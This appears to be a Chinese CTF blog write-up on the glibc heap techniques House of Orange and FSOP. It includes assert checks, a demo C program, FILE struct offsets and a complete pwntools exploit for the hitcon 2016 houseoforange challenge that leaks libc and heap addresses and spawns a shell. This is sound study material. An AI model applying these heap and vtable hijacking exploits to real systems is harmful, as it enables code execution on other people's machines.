Featured image of post House of orange&&FSOP

House of orange&&FSOP

本文参考 https://www.cnblogs.com/ZIKH26/articles/16712469.html

House of orange

house of orange是一种利用堆溢出改小topchunk的size,然后通过申请一个大小在topchunk_size和mmap阈值(0x20000)之间的chunk,从而将原本的topchunk放入unsortedbin中的方法

其作用就是在没有free函数的情况下创造一个unsortedbin_chunk

需要绕过的两个检测如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  old_top = av->top;//原本old top chunk的地址
  old_size = chunksize (old_top);//原本old top chunk的size
  old_end = (char *) (chunk_at_offset (old_top, old_size));//old top chunk的地址加上其size

  brk = snd_brk = (char *) (MORECORE_FAILURE);

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  

第一个assert的第一种情况要满足old_size==0,而在我们利用时topchunk已初始化,size不为0,所以只能第二种条件

1 ((unsigned long) (old_size) >= MINSIZE,旧topchunk_size大于最小size

2 prev_inuse (old_top),要求旧topchunk prev_use位为1

3 ((unsigned long) old_end & (pagesize - 1)) == 0)),topchunk_addr+topchunk_size满足页对齐也就是该address&0xfff=0

总结

修改size时满足

1
2
3
1  size<MINSIZE
2 prev_inuse=1
3 topchunk_addr+size&0xfff=0

再次申请chunk满足

1
2
1 申请chunk的nb+MINSIZE大于topchunk_size
2 nb<0x20000

单纯house of orange起到的作用非常优有限,通常和其他手法结合使用,与FSOP结合就是一种经典的利用方法

FSOP

FSOP介绍

程序所有FILE由字段由_IO_FILE结构体当中的_chain字段连接成链表,这个链表的表头是_IO_liast_all,FSOP通过修改_IO_list_all和_chain字段,使IO_FILE落到可控内存中。然后使用_IO_flush_all_lockp(也就是fflush)刷新文件流,fflush最终调用vtable中的_IO_overflow

前面提到了FSOP将IO_FILE修改成了我们可控的地址,所以我们可以修改vtable的_IO_overflow为system ,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程(2.26及之前)时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;

    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;
    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

伪造fake_vtable和fake_fp,unsortedbinattack改_IO_list_all为main_area+88,则0x60大小的smallbin位置为一个chain,在哪里放好fake_fp,fake_fp的vtable为fake_vtable

FSOP布局

首先篡改_IO_list_all为main_arena+88这个地址,chain字段是首地址加上0x68偏移得到的。因此chain字段决定了下一个IO_FILE结构体的地址为main_arena+88+0x68,这个地址恰好是smallbin中size为0x60的数组,如果我们能将一个chunk放到这个small bin中size为0x60的链上,那么篡改_IO_list_all为main_arena+88这个地址后,small bin中的chunk就是IO_FILE结构体了,将其申请出来后,我们就可以控制这块内存了,从而伪造vtable字段进行布局最终拿到shell。

FSOP

需要绕过的检查

1
2
3
4
5
6
7
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

通常满足那个比较省事的,只需要让mode=0,_IO_write_base=0,_IO_write_ptr=1即可

house of orange的成功概率是1/2,因为触发_IO_flush_all_lockp时会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体,在我们整体布局完成后,第一个结构体就是从main_arena+88开始。而第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的,main_arena+88+0xc0处储存的地址是libc随机化的,所以mode的>0的概率是1/2,当mode>0时会fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base,导致在第一个FILE触发overflow 而我们的布局是在第二个FILE上的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

[BUU]houseoforange_hitcon_2016

版本2.23程序模拟管理orange的house,我们每次add时,程序会malloc三个chunk,第一个储存chunk大小和内容的地址,第二个是我们真正申请的chunk,第三个储存orange的color和price,但是这两个属性在这个题里没什么用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int sub_107C()
{
  _DWORD *v1; // rbx
  unsigned int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  if ( unk_203074 > 2u )
    return puts("You can't upgrade more");
  if ( !house )
    return puts("No such house !");
  printf("Length of name :");//堆溢出
  v2 = getnum();
  if ( v2 > 0x1000 )
    v2 = 4096;
  printf("Name:");
  getcontent((void *)house[1], v2);
  printf("Price of Orange: ");
  v1 = (_DWORD *)*house;
  *v1 = getnum();
  color();
  printf("Color of Orange: ");
  v3 = getnum();
  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 56746 )
    *(_DWORD *)(*house + 4LL) = 56746;
  else
    *(_DWORD *)(*house + 4LL) = v3 + 30;
  ++unk_203074;
  return puts("Finish");
}

edit函数里有一个堆溢出,chunk大小<0x1000,应该是防house of force,没有free函数,所以可以用house_of_orange。同时由于没有free函数,fd bk不会清除,可以泄露地址

思路

1 house of orange制造unsrotedbin_chunk

2 申请一个largebin大小的chunk,这样既可以泄露libc又可以泄露堆地址

3 unsortedbin修改_IO_list_all为mainarea+88

4 FSOP,_flags修改为binsh,vtable修改为&vtable,然后修改overflow为system

5再次malloc触发fsop

其中 3 4由一次堆溢出完成

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
p=process('./pwn')
#p=remote('node5.buuoj.cn',27013)
#libc=ELF('libc-2.23.so')
libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
context.log_level='debug'
context.arch='amd64'
def add(size,content,price:int=0xff,color:int=1):
    p.sendlineafter(b'choice',b'1')
    p.sendlineafter(b'Length of name :',str(size))
    p.sendafter(b'Name :',content)
    p.sendlineafter('Price',str(price))
    p.sendlineafter('Color',str(color))
def show():
    p.sendlineafter(b'choice',b'2')
def edit(size,content,price:int=0xff,color:int=1):
    p.sendlineafter(b'choice',b'3')
    p.sendlineafter(b'Length of name :',str(size))
    p.sendafter(b'Name:',content)
    p.sendlineafter('Price',str(price))
    p.sendlineafter('Color',str(color))

add(0x10,b'a')
edit(0x40,p64(0x61)+p64(0)*2+p64(0x21)+p64(0x1f000000ff)+p64(0)*2+p64(0xfa1))
add(0x1000,b'a')

add(0x400,b'b')
show()
p.recvuntil(b'Name of house : ')
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x3c5162
print(hex(libcbase))
sys=libcbase+libc.sym['system']
io_list_all=libcbase+libc.sym['_IO_list_all']
edit(0x20,b'c'*0x10)
show()
p.recvuntil(b'c'*0x10)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0xc0
print(hex(heapbase))
pay=b'a'*0x400+p64(0)+p64(0x21)+p64(sys)+p64(0)
pay+=b'/bin/sh\x00'+p64(0x61)
pay+=p64(0)+p64(io_list_all-0x10)
pay+=p64(0)+p64(1)
pay+=p64(0)*7+p64(heapbase+0x4f0)
pay+=p64(0)*13+p64(heapbase+0x4f0+0xd8)
pay+=p64(0)*2+p64(sys)
edit(0x1000,pay)
print(hex(io_list_all))
#gdb.attach(p)
p.sendlineafter(b'choice',b'1')
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计